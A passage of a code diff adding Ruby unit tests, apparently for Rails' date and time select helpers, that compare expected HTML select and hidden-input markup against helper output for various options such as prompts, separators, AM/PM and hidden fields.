+    expected << %(<option value="">Choose month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December [...]
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="">Choose day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<optio [...]
+    expected << "</select>\n"
+
+    expected << " — "
+
+    expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
+    expected << %(<option value="">Choose hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\ [...]
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
+    expected << %(<option value="">Choose minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :start_year => 2003, :end_year => 2005, :prefix => "date[first]",
+      :prompt => {:day => 'Choose day', :month => 'Choose month', :year => 'Choose year', :hour => 'Choose hour', :minute => 'Choose minute'})
+  end
+
+  def test_select_datetime_with_custom_hours
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    expected << %(<option value="">Choose year</option>\n<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="">Choose month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December [...]
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="">Choose day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<optio [...]
+    expected << "</select>\n"
+
+    expected << " — "
+
+    expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
+    expected << %(<option value="">Choose hour</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n)
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
+    expected << %(<option value="">Choose minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :start_year => 2003, :end_year => 2005, :start_hour => 1, :end_hour => 9, :prefix => "date[first]",
+      :prompt => {:day => 'Choose day', :month => 'Choose month', :year => 'Choose year', :hour => 'Choose hour', :minute => 'Choose minute'})
+  end
+
+  def test_select_datetime_with_hidden
+    expected =  %(<input id="date_first_year" name="date[first][year]" type="hidden" value="2003" />\n)
+    expected << %(<input id="date_first_month" name="date[first][month]" type="hidden" value="8" />\n)
+    expected << %(<input id="date_first_day" name="date[first][day]" type="hidden" value="16" />\n)
+    expected << %(<input id="date_first_hour" name="date[first][hour]" type="hidden" value="8" />\n)
+    expected << %(<input id="date_first_minute" name="date[first][minute]" type="hidden" value="4" />\n)
+
+    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :prefix => "date[first]", :use_hidden => true)
+    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :datetime_separator => "—", :date_separator => "/",
+      :time_separator => ":", :prefix => "date[first]", :use_hidden => true)
+  end
+
+  def test_select_time
+    expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
+    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
+    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
+
+    expected << %(<select id="date_hour" name="date[hour]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_minute" name="date[minute]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18))
+    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :include_seconds => false)
+  end
+
+  def test_select_time_with_ampm
+    expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
+    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
+    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
+
+    expected << %(<select id="date_hour" name="date[hour]">\n)
+    expected << %(<option value="00">12 AM</option>\n<option value="01">01 AM</option>\n<option value="02">02 AM</option>\n<option value="03">03 AM</option>\n<option value="04">04 AM</option>\n<option value="05">05 AM</option>\n<option value="06">06 AM</option>\n<option value="07">07 AM</option>\n<option value="08" selected="selected">08 AM</option>\n<option value="09">09 AM</option>\n<option value="10">10 AM</option>\n<option value="11">11 AM</option>\n<option value="12">12 PM</option>\ [...]
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_minute" name="date[minute]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :include_seconds => false, :ampm => true)
+  end
+
+  def test_select_time_with_separator
+    expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
+    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
+    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
+    expected << %(<select id="date_hour" name="date[hour]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_minute" name="date[minute]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :time_separator => ' : ')
+    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :time_separator => ' : ', :include_seconds => false)
+  end
+
+  def test_select_time_with_seconds
+    expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
+    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
+    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
+
+    expected << %(<select id="date_hour" name="date[hour]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+    expected << "</select>\n"
+
+    expected << ' : '
+
+    expected << %(<select id="date_minute" name="date[minute]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+    expected << "</select>\n"
+
+    expected << ' : '
+
+    expected << %(<select id="date_second" name="date[second]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :include_seconds => true)
+  end
+
+  def test_select_time_with_seconds_and_separator
+    expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
+    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
+    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
+
+    expected << %(<select id="date_hour" name="date[hour]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_minute" name="date[minute]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_second" name="date[second]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :include_seconds => true, :time_separator => ' : ')
+  end
+
+  def test_select_time_with_html_options
+    expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
+    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
+    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
+
+    expected << %(<select id="date_hour" name="date[hour]" class="selector">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_minute" name="date[minute]" class="selector">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector')
+    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), {:include_seconds => false}, :class => 'selector')
+  end
+
+  def test_select_time_should_work_with_date
+    assert_nothing_raised { select_time(Date.today) }
+  end
+
+  def test_select_time_with_default_prompt
+    expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
+    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
+    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
+
+    expected << %(<select id="date_hour" name="date[hour]">\n)
+    expected << %(<option value="">Hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<optio [...]
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_minute" name="date[minute]">\n)
+    expected << %(<option value="">Minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<opt [...]
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_second" name="date[second]">\n)
+    expected << %(<option value="">Seconds</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</ [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :include_seconds => true, :prompt => true)
+  end
+
+  def test_select_time_with_custom_prompt
+    expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
+    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
+    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
+
+    expected << %(<select id="date_hour" name="date[hour]">\n)
+    expected << %(<option value="">Choose hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\ [...]
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_minute" name="date[minute]">\n)
+    expected << %(<option value="">Choose minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option [...]
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_second" name="date[second]">\n)
+    expected << %(<option value="">Choose seconds</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="1 [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => true, :include_seconds => true,
+      :prompt => {:hour => 'Choose hour', :minute => 'Choose minute', :second => 'Choose seconds'})
+  end
+
+  def test_select_time_with_hidden
+    expected =  %(<input id="date_first_year" name="date[first][year]" type="hidden" value="2003" />\n)
+    expected << %(<input id="date_first_month" name="date[first][month]" type="hidden" value="8" />\n)
+    expected << %(<input id="date_first_day" name="date[first][day]" type="hidden" value="16" />\n)
+    expected << %(<input id="date_first_hour" name="date[first][hour]" type="hidden" value="8" />\n)
+    expected << %(<input id="date_first_minute" name="date[first][minute]" type="hidden" value="4" />\n)
+
+    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :prefix => "date[first]", :use_hidden => true)
+    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :time_separator => ":", :prefix => "date[first]", :use_hidden => true)
+  end
+
+  def test_date_select
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
+
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on")
+  end
+
+  def test_date_select_with_selected
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option selected="selected" value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7" selected="selected">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10" selected="selected">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</o [...]
+
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", :selected => Date.new(2004, 07, 10))
+  end
+
+  def test_date_select_with_selected_nil
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    expected = '<input id="post_written_on_1i" name="post[written_on(1i)]" type="hidden" value="1"/>' + "\n"
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    expected << %{<option value=""></option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+    expected << %{<option value=""></option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="1 [...]
+
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", include_blank: true, discard_year: true, selected: nil)
+  end
+
+  def test_date_select_without_day
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    expected = "<input type=\"hidden\" id=\"post_written_on_3i\" name=\"post[written_on(3i)]\" value=\"1\" />\n"
+
+    expected <<  %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", :order => [ :month, :year ])
+  end
+
+  def test_date_select_without_day_and_month
+    @post = Post.new
+    @post.written_on = Date.new(2004, 2, 29)
+
+    expected = "<input type=\"hidden\" id=\"post_written_on_2i\" name=\"post[written_on(2i)]\" value=\"2\" />\n"
+    expected << "<input type=\"hidden\" id=\"post_written_on_3i\" name=\"post[written_on(3i)]\" value=\"1\" />\n"
+
+    expected << %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", :order => [ :year ])
+  end
+
+  def test_date_select_without_day_with_separator
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    expected = "<input type=\"hidden\" id=\"post_written_on_3i\" name=\"post[written_on(3i)]\" value=\"1\" />\n"
+
+    expected <<  %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << "/"
+
+    expected << %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", :date_separator => '/', :order => [ :month, :year ])
+  end
+
+  def test_date_select_without_day_and_with_disabled_html_option
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    expected = "<input type=\"hidden\" id=\"post_written_on_3i\" disabled=\"disabled\" name=\"post[written_on(3i)]\" value=\"1\" />\n"
+
+    expected <<  %{<select id="post_written_on_2i" disabled="disabled" name="post[written_on(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_1i" disabled="disabled" name="post[written_on(1i)]">\n}
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", { :order => [ :month, :year ] }, :disabled => true)
+  end
+
+  def test_date_select_within_fields_for
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    output_buffer = fields_for :post, @post do |f|
+      concat f.date_select(:written_on)
+    end
+
+    expected = "<select id='post_written_on_1i' name='post[written_on(1i)]'>\n<option value='1999'>1999</option>\n<option value='2000'>2000</option>\n<option value='2001'>2001</option>\n<option value='2002'>2002</option>\n<option value='2003'>2003</option>\n<option selected='selected' value='2004'>2004</option>\n<option value='2005'>2005</option>\n<option value='2006'>2006</option>\n<option value='2007'>2007</option>\n<option value='2008'>2008</option>\n<option value='2009'>2009</option> [...]
+    expected << "<select id='post_written_on_2i' name='post[written_on(2i)]'>\n<option value='1'>January</option>\n<option value='2'>February</option>\n<option value='3'>March</option>\n<option value='4'>April</option>\n<option value='5'>May</option>\n<option selected='selected' value='6'>June</option>\n<option value='7'>July</option>\n<option value='8'>August</option>\n<option value='9'>September</option>\n<option value='10'>October</option>\n<option value='11'>November</option>\n<optio [...]
+    expected << "<select id='post_written_on_3i' name='post[written_on(3i)]'>\n<option value='1'>1</option>\n<option value='2'>2</option>\n<option value='3'>3</option>\n<option value='4'>4</option>\n<option value='5'>5</option>\n<option value='6'>6</option>\n<option value='7'>7</option>\n<option value='8'>8</option>\n<option value='9'>9</option>\n<option value='10'>10</option>\n<option value='11'>11</option>\n<option value='12'>12</option>\n<option value='13'>13</option>\n<option value=' [...]
+
+    assert_dom_equal(expected, output_buffer)
+  end
+
+  def test_date_select_within_fields_for_with_index
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+    id = 27
+
+    output_buffer = fields_for :post, @post, :index => id do |f|
+      concat f.date_select(:written_on)
+    end
+
